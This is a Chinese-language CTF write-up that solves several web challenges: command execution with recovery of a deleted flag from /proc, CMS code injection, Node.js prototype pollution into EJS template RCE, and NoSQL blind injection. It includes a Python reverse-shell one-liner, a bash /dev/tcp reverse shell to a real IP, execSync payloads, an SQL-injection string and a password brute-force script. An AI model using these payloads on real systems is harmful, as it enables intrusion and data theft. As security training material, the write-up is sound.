CHECKIN

这道题源码很简单

但是需要反弹shell

from flask import Flask, request
import os
​
app = Flask(__name__)
flag_file = open("flag.txt", "r")
#flag = flag_file.read()
#flag_file.close()
#@app.route('/flag')
#def flag():
#    return flag
## want flag? naive!
#You will never find the thing you want:) I think
​
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1" \
​
​
@app.route('/')
def source():
    return open("app.py","r").read()
​
​
if __name__ == "__main__":
    app.run(host='0.0.0.0')
​

进入到shell这个页面会删除flag.txt

get传参 c可以进行命令执行但是没回显

知识点也是linux里面的

在linux里如果打开了一个文件而没有关闭,就算删除了文件(即rm -f flag.txt)在/proc/[pid]/fd下还是会存在,

所以我们还是可以看flag,txt的

这也是为什么会注释掉那些代码的原因

由于命令执行没有回显,我们可以弹shell,这个是python写的

shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

查看/proc/[pid[/fd 里的文件

由于有很多[pid]我们可以直接用*来代替,省的一步一步去找指令

cat /proc/*/fd/*

总结

对于代码是由于没有关闭文件而导致的信息泄露

我们可以在进程中找到

easycms

进去是弱口令

直接登入后台为admin.php

admin/12345

进入后台管理系统

这个在设置->高级

里面可以尝试代码注入

image-20240709110640222

我们试一下

image-20240709110802284

这里要我们创建文件

我们可以在微信设置上

image-20240709110950082

先随便填点击保存

image-20240709111123842

然后编辑的时候把这个原始ID换成路径穿越

image-20240709111313492

这样我们就可以代码注入了

image-20240709111444363

image-20240709111454419

我们漏洞分析一下

跟进 system/template/default/common/header.html.php,发现保存编辑时调用了 getEffectViewFile 方法

image-20240709111901093

全局搜索一下该方法,跟进 system/module/ui/model.php

image-20240709112050287

里面有个file_exists判断文件是否存在

这个函数可以使用文件或者文件夹绕过,所以此时只需要找一个地方能够创建文件或者文件夹的就能绕过这里从而

写入恶意代码

我们找一下mkdir

image-20240709112803474

总结

这个cms还是挺简单的

没有过多的链子什么的

babycat(未复现)

一道java反序列化的漏洞

这个学完以后再复现吧

easynode

这道题学到很多知识点

nodejs的原型链和ejs模板

首先题目给了源码

onst express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken}  = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());
​
​
​
let safeQuery =  async (username,password)=>{
​
    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }
​
    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
​
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
​
    }
    return str;
    }
​
    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}
​
app.get('/', async(req,res)=>{
    const html = await ejs.renderFile(__dirname + "/public/index.html")
    res.writeHead(200, {"Content-Type": "text/html"});
    res.end(html)
})
​
​
app.post('/login',function(req,res,next){
​
    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })
​
​
app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});
​
app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        console.log(sql);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});
​
​
app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
​
    var data =  JSON.parse(req.body.data)
​
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        for(var key in data){
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
​
            extend(board,JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});
​
​
​
app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})

image-20240709153224742

首先就是login登入

它会检查你的参数,登入成功会给token

当然我们一般就是要登入admin部分

image-20240709153354131

我们先看waf部分,这里过滤了很多

这里是弱比较我们可以用数组绕过

image-20240709153446019

这里的sql语句查询的话,用的substr函数,这个函数只会截取字符串,不会截取数组

如果是数组,这里会报错

image-20240709153608772

上面有个字符串替换的操作

在node.js中,如果进行了 + 运算

则将此变成字符串,数组或者数字或者对象都可以变成对象

所以我们要进入这个if判断中及我们传入的字符串中要有黑名单里面的字符

所以我们的payload

username[]=admin'#&username=1&username=1&username=1&username=1&username=1&username=1&username=1&username=1)&password=111

这么多username是因为防止字符太少将闭合符号当成黑名单里面的

然后传入就可以获得admin的token

接下来我们登入成功了有什么用呢

image-20240709154233656

看这个路由这里有个extend方法

这个方法就和merge类似用于合并对象

var object = {
  'a': [{ 'b': 2 }, { 'd': 4 }]
};
 
var other = {
  'a': [{ 'c': 3 }, { 'e': 5 }]
};
 
_.merge(object, other);
// => { 'a': [{ 'b': 2, 'c': 3 }, { 'd': 4, 'e': 5 }] }

相同对象的属性合并在一起

这里的extend就是

 extend({},JSON.parse(addDIV));

如果合并在一起我们就可以利用proto来访问到object类进而进行逃逸命令执行

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
​
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
​
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.77.200.94/8888 0>&1\"');var __tmp2"}}

常用的payload

我们选择最后的反弹shell

总结

https://xz.aliyun.com/t/12323

这个关于ejs模板的总结

我也学习了相关的知识,熟悉了一下ejs

对于node.js原型链污染和ssti模板注入又加深了理解

hackme

这是一道nosql注入

nosql注入即No only sql注入

不是通过sql语句进行注入的,但是本质上和sql注入差不多

nosql就是非关系型数据库

也有很多种注入的方式

这道题用到两种注入方式就是重言式注入和盲注

其本质还是差不多的

就是利用条件语句使查询语句永远为真

还有其他的注入如联合查询注入和JavaScript注入背负式查询跨域违规

$gt

大于

$lte

小于等于

$in

包含

$nin

不包含

$lt

小于

$gte

大于等于

$ne

不等于

$eq

等于

在这些操作符中,$ne就是我们在重言式注入中需要利用到的那个。它的作用是将不等于指定值的数据都查询出

来。比如$ne=1时就是将所有不等于1的数据都查询出来。

下来就是盲注脚本

import requests
import string
​
password = ''
url = 'http://node4.buuoj.cn:27409/login.php'
​
while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
​
            # When the method is GET
            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
            # When the method is POST
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            # When the method is POST with JSON
            json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json
​
            #r = requests.post(url=url, data=post_payload)
            if '但没完全登录' in r.content.decode():
                print("[+] %s" % (password + c))
                password += c

爆破得到密码

后面是nginx的版本漏洞

用到nginx走私

现在来复现一下这个

通过F12已经知道了是nosql注入

抓个包

image-20240709184015452

我们先尝试一下永真式注入

{"username":{"$ne":1},"password": {"$ne":1}}

image-20240709184955291

发现有过滤

我们用unicode编码绕过一下

image-20240709185036215

{"msg":"登录了,但没完全登录"}    // 真
{"msg":"登录失败"}    // 假

盲注脚本爆破密码

得到密码

42276606202db06ad1f29ab6b4a1307f

登入进去之后发现可以文件读取

image-20240709185412839

读取flag试试

image-20240709185537357

打内网

没有ssrf怎么打内网呢

根据提示说看看sever配置文件

看看nginx

image-20240709185806269

版本为1.17.6

百度一下看看有什么漏洞

image-20240709185924395

一个cve

看一下nginx的配置文件/usr/local/nginx/conf/nginx.conf

events {
    worker_connections  1024;
}
​
​
http {
    include       mime.types;
    default_type  application/octet-stream;
​
    sendfile        on;
    #tcp_nopush     on;
​
    #keepalive_timeout  0;
    keepalive_timeout  65;
​
    server {
        listen       80;
        error_page 404 404.php;
        root /usr/local/nginx/html;
        index index.htm index.html index.php;
        location ~ \.php$ {
           root           /usr/local/nginx/html;
           fastcgi_pass   127.0.0.1:9000;
           fastcgi_index  index.php;
           fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
           include        fastcgi_params;
        }
​
    }
​
resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;
​
​
    # weblogic
    server {
        listen       80;
        server_name  weblogic;
        location / {
            proxy_set_header Host $host;
            set $backend weblogic;
            proxy_pass http://$backend:7001;
        }
    }
}

就是一个请求走私

大概了解了一下就是前端与后端的对于请求的格式有些不太一样

导致的http走私

https://www.freebuf.com/articles/web/243652.html

但是我不知道为什么一直复现不出来

下一个也是一个cve版本漏洞

总结

学习了一下nosql注入

学习了http请求走私